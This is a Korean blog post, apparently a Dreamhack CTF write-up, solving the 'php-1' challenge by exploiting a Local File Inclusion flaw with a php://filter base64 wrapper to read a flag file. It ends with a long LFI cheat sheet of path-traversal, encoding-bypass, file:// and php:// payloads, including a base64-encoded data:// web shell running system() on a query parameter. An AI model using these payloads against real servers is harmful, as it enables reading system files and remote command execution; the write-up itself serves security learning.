이번 문제에서는 PHP로 작성된 Back Office 서비스에서 발생하는 Local File Inclusion (LFI) 취약점을 이용하여 /var/www/uploads/flag.php 파일에 위치한 플래그를 획득하는 것이 목표입니다.
LFI 취약점이란?
LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다. 이 취약점은 웹 어플리케이션에서 사용자 입력값을 적절하게 필터링하지 않아 디렉토리 변경 명령어들의 삽입을 허용했을 때 일어납니다.
php-1 풀이
1. /index.php
PHP Back Office 서비스의 메인 페이지해당 HTML 코드는 PHP Back Office 서비스의 메인 페이지를 나타냅니다. 여기서 중요한 부분은 다음과 같습니다.
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
각 링크는 "List"와 "View" 페이지로 이동하는 링크입니다. 주목할 부분은 /?page= 부분으로, 사용자가 클릭한 링크의 쿼리 문자열에 해당합니다. 서비스는 사용자의 입력값($_GET['page'])을 기반으로 다른 파일을 포함하게 됩니다.
문제에서는 /var/www/uploads/flag 파일에 접근해야 하므로, /?page=/var/www/uploads/flag와 같이 입력값을 조작하여 해당 파일로 이동합니다.
2. /?page=/var/www/uploads/flag
해당 페이지로 이동했을 때, 파일의 내용이 필터링되어 출력되지 않습니다. 웹 애플리케이션이 입력값에 대한 필터링을 적용하여 직접적인 파일 경로의 인클루드를 방지한 것으로 보입니다.
3. /?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
이제 PHP Wrapper 중 하나인 php://filter를 사용하여 파일 내용을 확인하려고 합니다. 다음과 같은 URL을 사용합니다.
- php://filter/convert.base64-encode/resource=/var/www/uploads/flag
이를 통해 파일의 내용을 Base64로 인코딩하여 반환하도록 요청합니다. 웹 애플리케이션은 Base64로 인코딩된 파일 내용을 제공하게 되고, 이를 디코딩하면 원본 파일의 내용을 확인할 수 있습니다.
4. 디코딩
https://www.base64decode.org/ko/ 사이트를 이용했습니다.
flag가 나왔습니다 ..
+) LFI 치트시트
?page=../
?page=/etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=..//..//..//..//..//etc/passwd
?page=....//....//....//....//etc/passwd
?page=....//....//....//....//....//....//etc/passwd
?page=.....///.....///.....///.....///etc/passwd
?page=../../../../../../../../../../../../../../etc/passwd
?page=..\/..\/..\/..\/etc/passwd
?page=/etc/passwd&
?page=/etc/passwd%00
?page=example.php%00.txt
?page=/etc/passwd%00.inc
?page=/etc/passwd%00.php
?page=http://localhost/index
?page=http://localhost:3000/index.html
?page=http://localhost:8000/index.html
?page=somedir/../../../../etc/passwd&ext=
# URL encoding
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=..%5C..%5C..%5C..%5Cetc/passwd
?page=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
?page=http:%5C%5Cindex
# URL double encoding
?page=..%252F..%252F..%252F..%252fetc/passwd
?page=%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
?page=http:%252F%252Findex
# UTF-8 encoding
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Dot truncation
?page=../../../../etc/passwd..........................................................
# File scheme
?page=file:///etc/passwd
?page=file:%2F%2F%2Fetc%2Fpasswd
?page=file:%252F%252F%252Fetc%252Fpasswd
?page=file%3A///etc/passwd
?page=file%3A%2F%2F%2Fetc%2Fpasswd
?page=file%3A%252F%252F%252Fetc%252Fpasswd
?page=file://var/www/html/index.php
?page=file://var/www/<subdomain>/index.php
# Other local web servr
?page=http://127.0.0.1/
?page=http://127.0.0.1:3000/
?page=http://127.0.0.1:8000/
# PHP Filter
?page=php://filter/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://filter/convert.base64-encode/resource=index.php
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>
# PHP Filter - Base64 encoding. The payloa is "<?php system($_GET['cmd']); ?>"
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
'CTF 풀이' 카테고리의 다른 글
[드림핵] r-xor-t 풀이 (2) | 2024.02.13 |
---|---|
[드림핵] Relative Path Overwrite Advanced 풀이 (1) | 2024.02.07 |
[드림핵] Basic_Crypto1 (2) | 2023.05.28 |
[드림핵] cpp-type-confusion (0) | 2023.05.12 |